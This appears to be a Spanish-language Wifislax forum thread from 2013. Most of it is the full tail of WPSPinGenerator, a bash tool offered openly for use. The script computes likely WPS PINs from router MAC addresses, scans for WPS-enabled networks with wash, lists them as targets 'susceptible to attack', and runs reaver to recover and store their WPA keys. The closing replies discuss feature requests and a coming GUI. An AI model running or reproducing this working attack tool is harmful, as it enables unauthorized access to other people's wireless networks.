essid>         Belkin_N+_XXXXXX
modelo>        F5D8235-4 v 1000
--------------------------------------------------

bssid soportados

00:22:75

--------------------------------------------------
Fabricante >     Belkin
essid>         belkin.XXX
modelo>        F9K1104(N900 DB Wireless N+ Routeur)
--------------------------------------------------

bssid soportados

08:86:3B

--------------------------------------------------
Fabricante >   Belkin
essid>         belkin.XXX
modelo>        F5D8231-4  ver. 5000
--------------------------------------------------

bssid soportados

00:1C:DF

--------------------------------------------------
Fabricante >    Teldat
essid>         WLAN_XXXX
modelo>        iRouter1104-W
--------------------------------------------------

bssid soportados

00:A0:26

--------------------------------------------------
Fabricante >    Zyxel
essid>          ZyXEL
modelo>       zyxel NBG-419n
--------------------------------------------------

bssid soportados

50:57:F0

-------------------------------------------------
Fabricante>    Tenda
essid>        ?¿
modelo>       W309R
-------------------------------------------------

bssid soportados

C8:3A:35
'

# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)                               
MAC=$(echo $FINBSSID | tr -d ':')                         
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)                     

STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS1=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS1=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS1=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS1=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS1=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS1=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS1=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             

     
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS2=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS2=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS2=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS2=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS2=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS2=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS2=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS3=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS3=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS3=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS3=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS3=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS3=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS3=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi



if [ "$CHECKESSID" = "FTE" ];                         
then

FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`



PIN=`expr 10 '*' $STRING4`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS4=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS4=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS4=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS4=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS4=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS4=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS4=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi               
fi 
}

# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
  ETH=$(ip route|awk '/default/ {print $5}')
  HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
  HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
  if [ "$HW_ETH" = "$HW_WIFI" ];then
    echo
    echo "Para evitar errores, la interface \"$ETH\" no debe estar conectada a internet! "
    echo ""
    echo "Presiona enter para volver al menú"
    read junk
    menu
  fi
fi
}

# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
  longueur=${#BSSID}
  if [ $longueur -eq 17 ] ; then
    i=$(($i+1))
    WPSbssid[$i]=$BSSID
    WPSchanel[$i]=$Channel
    WPSessid[$i]=$ESSID
    PWR[$i]=$RSSI
  fi
  redesWPS=$i
done < $TMP/wash_capture.$$
if  [ "$redesWPS" = "0" ];then
  clear
  echo ""
  echo ""
  echo "                        * * *     A T E N C I O N     * * *                "
  echo ""
  echo "                          No se ha encontrado ninguna RED "
  echo "                          con WPS activado en la captura"
  echo ""
  echo "                          Pulsa INTRO para volver al menu"
  read junk
  menu
else
  clear
  echo ""
  echo "                Las siguientes redes son susceptibles de ataque con REAVER"
  echo ""
  echo "            MAC            SOPORTADA?      PWR      Channel      ESSID"
  echo ""
  countWPS=0
  while [ 1 -le $i ]; do
    countWPS=$(($countWPS+1))
    MAC=$(echo ${WPSbssid[$countWPS]}|rev|cut -d: -f4-|rev)
    if [ "$(echo $MACs_Soportadas|grep ':'|grep $MAC)" != "" ]; then
      SOPORTADA="SI"
    else
      SOPORTADA="NO"
    fi
    echo " $countWPS)  ${WPSbssid[$countWPS]}         $SOPORTADA          ${PWR[$countWPS]}         ${WPSchanel[$countWPS]}         ${WPSessid[$countWPS]}"
    i=$(($i-1))
  done   
  i=$redesWPS
  echo ""
  echo " 0)  Para volver al menu "
  echo ""
  echo ""
  echo " --> Seleccione una red"
  read WPSoption
  set -- ${WPSoption}

  if [ $WPSoption -le $redesWPS ]; then
    if [ "$WPSoption" = "0" ];then
      menu
    fi
    ESSID=${WPSessid[$WPSoption]}
    BSSID=${WPSbssid[$WPSoption]}
    CHANEL=${WPSchanel[$WPSoption]}
    clear
  else
    echo " Opcion no valida... vuelva a elegir"
    sleep 2
    SeleccionarObjetivo
  fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}

# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
        interval=$sec_rem
        seconds=`expr $interval % 60`
        interval=`expr $interval - $seconds`
  sleep 1
  clear
  echo "Escaneando en busca de objetivos... $seconds segundos"
  echo ""
  cat $TMP/wash_capture.$$
  if [ ! -e /proc/$WashPID ]; then
    sleep 1
    break
  fi
done
SeleccionarObjetivo
}

auto_select_monitor() {
#! /bin/bash


#############################################################################################################
# Programa:   monitormode
# Autor:   M.K. Maese Kamara
#
# Detectar tarjetas y montar  en modo monitor

#############################################################################################################


#poner tarjeta en modo monitor AUTOMATICO

clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
rm  -rf $TEMP/wireless.txt

if  [ "$tarj1" = "" ]; then
clear
echo "                  * * *     A T E N C I O N     * * *                "
   echo ""
   echo "    No se ha encontrado ninguna tarjeta Wireless en este equipo"
   echo ""
   echo "    Pulsa ENTER para volver al menu"
read yn
menu
fi

if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi

tarjselec=$tarj1

if [ "$tarj2" != "" ] ;then
echo
echo
echo "      Se han encontrado las siguientes tarjetas wifi en este equipo"
echo

airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset

echo "      selecciona una para utilizarla en modo monitor"
echo

tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
break;
done

if [ "$tarjselec" = "" ]; then
echo "  La opcion seleccionada no es valida"
echo "  Introduce una opcion valida..."
selectarj
fi
}

if [ "$tarjselec" = "" ]; then
selectarj
fi

echo ""
echo "Interface seleccionado: $tarjselec"

fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo "                    Se está montando la tarjeta en modo monitor"
echo ""
sleep 1

#limpieza interface

ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null


airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2

else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"

echo ""
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}

ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
  PIN=$PINWPS4
else
  PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 40 && kill $ReaverPID &>/dev/null &
while true; do
  sleep 1
  clear
  echo "Obteniendo clave WPA..."
  echo ""
  cat $TMP/reaver_capture.$$
  if [ ! -e /proc/$ReaverPID ]; then
    sleep 1
    break
  fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
  echo "No ha sido posible obtener la clave WPA"
  ShowWPA="OFF"
else
  WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
  echo "ESSID: $ESSID" >  $TMP/$WPA_TXT
  echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
  cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
  ShowWPA="ON"
  echo "La clave ha sido guardada en \"$KEYS/$WPA_TXT\""
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}

#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
  echo ""
  echo ""
  echo "   ####################################################################"
  echo "   ###                                                              ###"
  echo "   ###     ¿ quiere desnontar la tarjeta antes de salir?            ###"
  echo "   ###                                                              ###"
  echo "   ###        (n) no   -> Salir sin desmontar                       ###"
  echo "   ###        (m) Menú -> Volver al menú principal                  ###"
  echo "   ###        ENTER    -> Desmontar y Salir                         ###"
  echo "   ###                                                              ###"
  echo "   ###                                                              ###"
  echo "   ####################################################################"
  echo ""
  echo ""
read salida
set -- ${salida}

if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
 exit

}

menu() {
# Bienvenida
clear
echo "
         __    __               ___ _                   
        / / /\ \ \____  ___    / _ (_)_ __     
        \ \/  \/ /  _ \/ __|  / /_)/ | /_ \   
         \  /\  /| |_) \__ \ / ___/| | | | |   
          \/  \/ |  __/|___/ \/    |_|_| |_|  Generator $VERSION
                 |_|                                      "
echo ""
echo "        ****************************************************"
echo "        * << Based on ZhaoChunsheng work & kcdtv script >> *"
echo "        **************************************************** "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
  echo "INFO AP OBJETIVO"
  echo ""
  echo "              ESSID = $ESSID"
  echo "              Canal = $CHANEL"
  echo "         MAC del AP = $BSSID"
  if [ "$CHECKESSID" = "FTE" ]; then
    echo "    Posible pin WPS = $PINWPS4"
  else
    echo "    Posible pin WPS = $PINWPS1"
  fi
  if [ "$ShowWPA" = "ON" ]; then
  echo "          Clave WPA = $WPA_KEY"
  fi
  echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
  1 ) WashScan;;
  2 ) ObtenerWPA;;
  3 ) SeleccionarObjetivo;;
  0 ) DESMONTAR_tarj_y_salir;;
  * ) echo "Opción incorrecta"; menu;;
esac
}

# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
 echo -e '\e[1;31m
   
   
    ¡¡¡ Debes ser root para ejecutar este script !!!

        Prueba: sudo $0

\e[0m'

 exit 1
fi

# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; else rm -rf $KEYS/*; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
  if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
    ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
  fi
fi

menu

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #11 en: 04-01-2013, 13:42 (Viernes) »
osea que lo que tu quieres es un modulo para llevartelo a otra distribucion que no es wifislax 4.3,

es correcto?

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #12 en: 04-01-2013, 13:43 (Viernes) »
no esqq yoo pensee  q ese codigoo se podria usar como un modulo para mejorar la version q tengo del  WPSPinGenerator en wifislax
« Última modificación: 04-01-2013, 13:48 (Viernes) por ibrahim07 »

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #13 en: 04-01-2013, 13:51 (Viernes) »
no esqq yoo pensee  q ese codigoo se podria usar como un modulo para mejorar la version q tengo del  WPSPinGenerator en wifislax

chico, no me entero, si ya tienes el wifislax 4.3 ya tienes el wpspin generator actualizado, este tema es solo para propuestas para mejorarlo, y no es una version mejorada del que hay.

no se si lo has entendido

si te sirve de consuelo que lo dudo, ya que entiendo que no te da el pin correcto, en breve tendras un modulo con una gui

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #14 en: 04-01-2013, 13:56 (Viernes) »
ahh muchass grax  bueno esq pensee q el codigo era pa mejorarr el WPSPinGenerator   del q yaa tengo bueno perdone x las molestias  ;D

popeye7

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #15 en: 04-01-2013, 14:00 (Viernes) »
" en breve tendras un modulo con una gui  >:( >:(" se la pedí a los reyes y me la van a traer . ;D

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #16 en: 04-01-2013, 14:03 (Viernes) »
 ^-^ ahh no see yoo si te lo traeran haha  ;) bromaa pues la esperamoss  >:(

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #17 en: 04-01-2013, 14:05 (Viernes) »
aqui os dejo un adelanto,

como veis en el video se estan puliendo algunos bugs

en el momento que niroz la termine, newuser la subira a modulos.


popeye7

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #18 en: 04-01-2013, 14:13 (Viernes) »
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del  WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas "  . Feliz año y a sobrevivir....
Está muy bien ¿ lo de tiempo de scanning y los canales ha sido posible?
« Última modificación: 04-01-2013, 14:14 (Viernes) por popeye7 »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14479
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #19 en: 04-01-2013, 14:17 (Viernes) »
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del  WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas "  . Feliz año y a sobrevivir....
Está muy bien ¿ lo de tiempo de scanning y los canales ha sido posible?

si